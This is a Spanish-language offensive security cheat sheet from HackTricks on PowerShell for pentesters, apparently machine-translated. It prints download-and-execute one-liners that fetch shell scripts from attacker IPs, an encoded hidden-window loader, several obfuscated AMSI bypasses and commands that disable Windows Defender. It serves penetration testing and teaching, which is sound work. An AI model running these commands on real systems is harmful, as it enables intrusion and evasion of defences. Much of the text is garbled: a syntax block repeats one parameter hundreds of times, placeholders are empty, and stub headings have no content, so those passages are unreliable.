# PowerShell básico para pentesters
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Ubicaciones predeterminadas de PowerShell ```powershell C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Comandos básicos de PS para comenzar PowerShell (PS) es una poderosa herramienta de línea de comandos y scripting que se utiliza ampliamente en entornos de Windows. Aquí hay algunos comandos básicos de PS que te ayudarán a comenzar: ### Obtener información del sistema - `Get-Host`: Muestra información sobre la versión de PowerShell que estás utilizando. - `Get-Process`: Muestra una lista de los procesos en ejecución en el sistema. - `Get-Service`: Muestra una lista de los servicios en ejecución en el sistema. - `Get-EventLog`: Muestra los registros de eventos del sistema. ### Navegar por el sistema de archivos - `Get-ChildItem`: Muestra una lista de los archivos y carpetas en un directorio específico. - `Set-Location`: Cambia el directorio actual. - `Copy-Item`: Copia un archivo o carpeta a una ubicación específica. - `Move-Item`: Mueve un archivo o carpeta a una ubicación específica. - `Remove-Item`: Elimina un archivo o carpeta. ### Administrar usuarios y grupos - `Get-LocalUser`: Muestra una lista de los usuarios locales en el sistema. - `New-LocalUser`: Crea un nuevo usuario local. - `Remove-LocalUser`: Elimina un usuario local. - `Get-LocalGroup`: Muestra una lista de los grupos locales en el sistema. - `Add-LocalGroupMember`: Agrega un usuario a un grupo local. - `Remove-LocalGroupMember`: Elimina un usuario de un grupo local. ### Administrar permisos - `Get-Acl`: Muestra los permisos de seguridad de un archivo o carpeta. - `Set-Acl`: Establece los permisos de seguridad de un archivo o carpeta. - `Get-NTFSAccess`: Muestra los permisos NTFS de un archivo o carpeta. - `Set-NTFSAccess`: Establece los permisos NTFS de un archivo o carpeta. Estos son solo algunos de los comandos básicos de PS que puedes utilizar para administrar y obtener información del sistema. ¡Explora más y descubre todo el potencial de PowerShell! ```powershell Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` ## Descargar y Ejecutar To download and execute a file using PowerShell, you can use the following command: Para descargar y ejecutar un archivo utilizando PowerShell, puedes utilizar el siguiente comando: ```powershell Invoke-WebRequest -Uri -OutFile ; .\ ``` Replace `` with the URL of the file you want to download, and `` with the desired name for the downloaded file. Reemplaza `` con la URL del archivo que deseas descargar, y `` con el nombre deseado para el archivo descargado. This command uses the `Invoke-WebRequest` cmdlet to download the file from the specified URL and save it to the local system. The `-OutFile` parameter specifies the name of the output file. Este comando utiliza el cmdlet `Invoke-WebRequest` para descargar el archivo desde la URL especificada y guardarlo en el sistema local. El parámetro `-OutFile` especifica el nombre del archivo de salida. After downloading the file, the second part of the command `.\` executes the downloaded file. Después de descargar el archivo, la segunda parte del comando `.\` ejecuta el archivo descargado. ```powershell g echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd( #https://twitter.com/Alh4zr3d/status/1566489367232651264 #host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` ### Descargar y ejecutar en segundo plano con bypass de AMSI This technique allows you to download and execute a file in the background while bypassing the Antimalware Scan Interface (AMSI) in Windows. #### Requirements - PowerShell version 5.1 or higher - Internet access #### Instructions 1. Open a PowerShell session with administrative privileges. 2. Run the following command to download the file and save it to a temporary location: ```powershell $url = "URL_DEL_ARCHIVO" $output = "RUTA_DE_DESTINO" Invoke-WebRequest -Uri $url -OutFile $output ``` Replace `URL_DEL_ARCHIVO` with the URL of the file you want to download, and `RUTA_DE_DESTINO` with the desired destination path. 3. To bypass AMSI, run the following command: ```powershell $bytes = [System.IO.File]::ReadAllBytes($output) $encodedCommand = [System.Convert]::ToBase64String($bytes) [System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation') | Out-Null $type = [System.Management.Automation.AmsiUtils]::GetAttributeTable()[0].Invoke($null, @($null)) $amsiUtils = [System.Activator]::CreateInstance($type) $amsiUtils.GetType().GetField('amsiInitFailed', [System.Reflection.BindingFlags]::NonPublic -bor [System.Reflection.BindingFlags]::Static).SetValue($null, $true) [System.Management.Automation.Runspaces.InitialSessionState]::Create().InvokeCommand.InvokeScript($amsiUtils, @($encodedCommand)) ``` 4. The file will be executed in the background without triggering AMSI detection. Note: This technique is for educational purposes only. Unauthorized use is strictly prohibited. ```powershell Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Usando b64 en Linux El comando `b64` es una herramienta útil para codificar y decodificar archivos en base64 en sistemas operativos Linux. Puede ser utilizado por los pentesters para realizar diversas tareas durante una prueba de penetración. #### Codificar un archivo en base64 Para codificar un archivo en base64, puedes utilizar el siguiente comando: ```bash b64 -e archivo > archivo_codificado ``` Reemplaza "archivo" con la ruta y el nombre del archivo que deseas codificar. El archivo codificado se guardará en el archivo especificado después del símbolo ">". #### Decodificar un archivo en base64 Para decodificar un archivo en base64, puedes utilizar el siguiente comando: ```bash b64 -d archivo_codificado > archivo_decodificado ``` Reemplaza "archivo_codificado" con la ruta y el nombre del archivo codificado que deseas decodificar. El archivo decodificado se guardará en el archivo especificado después del símbolo ">". Es importante tener en cuenta que el comando `b64` debe estar instalado en tu sistema Linux para poder utilizarlo. Puedes instalarlo utilizando el administrador de paquetes de tu distribución Linux. ¡Utiliza el comando `b64` de manera responsable y ética durante tus pruebas de penetración! ```powershell echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` ## Descargar ### System.Net.WebClient ```powershell (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` El comando `Invoke-WebRequest` se utiliza en PowerShell para enviar solicitudes HTTP a un servidor web y recibir respuestas. Puede ser utilizado por los pentesters para realizar pruebas de penetración en aplicaciones web. #### Sintaxis ```powershell Invoke-WebRequest [-Uri] [-Method ] [-Headers ] [-Body ] [-ContentType ] [-UserAgent ] [-Proxy ] [-ProxyCredential ] [-TimeoutSec ] [-SessionVariable ] [-WebSession ] [-UseBasicParsing] [-DisableKeepAlive] [-SkipCertificateCheck] [-MaximumRedirection ] [-MaximumRetryCount ] [-MaximumRetryIntervalSec ] [-ProxyUseDefaultCredentials] [-ProxyByPassList ] [-ProxyByPassProxy] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ] [-ProxyCredential ``` Reemplaza `` con el resultado de la codificación Base64 del comando de PowerShell que deseas ejecutar. Esta técnica puede ser útil para evadir la detección de antivirus y firewalls, ya que el comando codificado en Base64 puede parecer inofensivo a simple vista. Sin embargo, es importante tener en cuenta que no todos los sistemas de seguridad pueden ser engañados por esta técnica, por lo que es necesario evaluar el entorno objetivo antes de utilizarla. ```powershell kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` ## [Política de ejecución](../authentication-credentials-uac-and-efs.md#ps-execution-policy) ## [Lenguaje restringido](broken-reference/) ## [Política de AppLocker](broken-reference/) ## Habilitar WinRM (PS remoto) ```powershell enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private #Requires -RunasAdministrator Get-NetConnectionProfile | Where{ $_.NetWorkCategory -ne 'Private'} | ForEach { $_ $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm } ``` ## Desactivar Defender {% code overflow="wrap" %} ```powershell # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions # Disable Set-MpPreference -DisableRealtimeMonitoring $true #To completely disable Windows Defender on a computer, use the command: New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force # Set exclusion path Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring Add-MpPreference -ExclusionPath (pwd) # Check exclusions configured via GPO Parse-PolFile .\Registry.pol KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions ValueName : Exclusions_Paths ValueType : REG_DWORD ValueLength : 4 ValueData : 1 KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths ValueName : C:\Windows\Temp ValueType : REG_SZ ValueLength : 4 ValueData : 0 ``` {% endcode %} ### Bypass de AMSI **`amsi.dll`** se **carga** en tu proceso y tiene las **exportaciones** necesarias para que cualquier aplicación interactúe con él. Y debido a que se carga en el espacio de memoria de un proceso que **controlas**, puedes cambiar su comportamiento **sobrescribiendo instrucciones en la memoria**. Haciendo que no detecte nada. Por lo tanto, el objetivo de los bypasses de AMSI es **sobrescribir las instrucciones de esa DLL en la memoria para hacer que la detección sea inútil**. Página web generadora de bypass de AMSI: [**https://amsi.fail/**](https://amsi.fail/) ```powershell # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) # Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " " ). GetField([string](38..51|%{[char][int](29+($A+$B). substring(($_*2),2))})-replace " ",'NonPublic,Static'). SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI [Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI &( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI ${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s') ${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c') ${1}.SetValue($null,$true) # Another Method $a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u)) $field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static') $field.SetValue($null,$true) # AMSI Bypass in python https://fluidattacks.com/blog/amsi-bypass-python/ # Testing for Amsi Bypass: https://github.com/rasta-mouse/AmsiScanBufferBypass # Amsi-Bypass-Powershell https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell https://blog.f-secure.com/hunting-for-amsi-bypasses/ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` ### Bypass de AMSI 2 - Enganche de Llamadas a API Administradas Consulta [**esta publicación para obtener información detallada**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/) y [**el código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Esta nueva técnica se basa en el enganche de llamadas a API de métodos .NET. Resulta que los métodos .NET deben compilarse en instrucciones de máquina nativas en la memoria, lo que termina pareciéndose mucho a los métodos nativos. Estos métodos compilados pueden ser enganchados para cambiar el flujo de control de un programa. Los pasos para realizar el enganche de llamadas a API de métodos .NET son: 1. Identificar el método objetivo para enganchar 2. Definir un método con el mismo prototipo de función que el objetivo 3. Utilizar reflexión para encontrar los métodos 4. Asegurarse de que cada método haya sido compilado 5. Encontrar la ubicación de cada método en la memoria 6. Sobrescribir el método objetivo con instrucciones que apunten a nuestro método malicioso ## Historial de PS ```powershell Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` ## Obtener permisos To determine the permissions of a file or directory in Windows, you can use the `Get-Acl` cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object. ```powershell Get-Acl -Path C:\path\to\file.txt ``` This command will display the permissions associated with the file.txt file, including the user or group that has each permission. You can also use the `Get-ACL` cmdlet to retrieve the permissions for multiple files or directories by specifying a wildcard character (*) in the path. ```powershell Get-Acl -Path C:\path\to\* ``` This command will display the permissions for all files and directories in the specified path. By default, the `Get-Acl` cmdlet displays the permissions in a format that is not very readable. To format the output in a more readable way, you can use the `Format-List` cmdlet. ```powershell Get-Acl -Path C:\path\to\file.txt | Format-List ``` This command will display the permissions for the file.txt file in a list format. In addition to retrieving the permissions, you can also modify the permissions using the `Set-Acl` cmdlet. However, be cautious when modifying permissions, as incorrect changes can lead to security vulnerabilities. ```powershell Set-Acl -Path C:\path\to\file.txt -AclObject $acl ``` This command will set the permissions for the file.txt file using the ACL object specified by the `$acl` variable. By understanding and managing permissions effectively, you can ensure the security of your Windows system. ```powershell Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## Versión del sistema operativo y HotFixes Para obtener información sobre la versión del sistema operativo y los HotFixes instalados en un sistema Windows, puedes utilizar el siguiente comando de PowerShell: ```powershell Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture ``` Este comando mostrará la versión del sistema operativo, la versión del Service Pack y la arquitectura del sistema. Además, puedes obtener una lista de los HotFixes instalados en el sistema utilizando el siguiente comando: ```powershell Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID, InstalledOn ``` Este comando mostrará el identificador del HotFix y la fecha en que fue instalado. Estos comandos son útiles para obtener información sobre la versión del sistema operativo y los HotFixes instalados, lo cual puede ser útil durante una evaluación de seguridad o una prueba de penetración. ```powershell [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## Entorno --- ## Purpose --- ## Propósito --- ## Prerequisites --- ## Requisitos previos --- ## Instructions --- ## Instrucciones --- ## Conclusion --- ## Conclusión ```powershell Get-ChildItem Env: | ft Key,Value #get 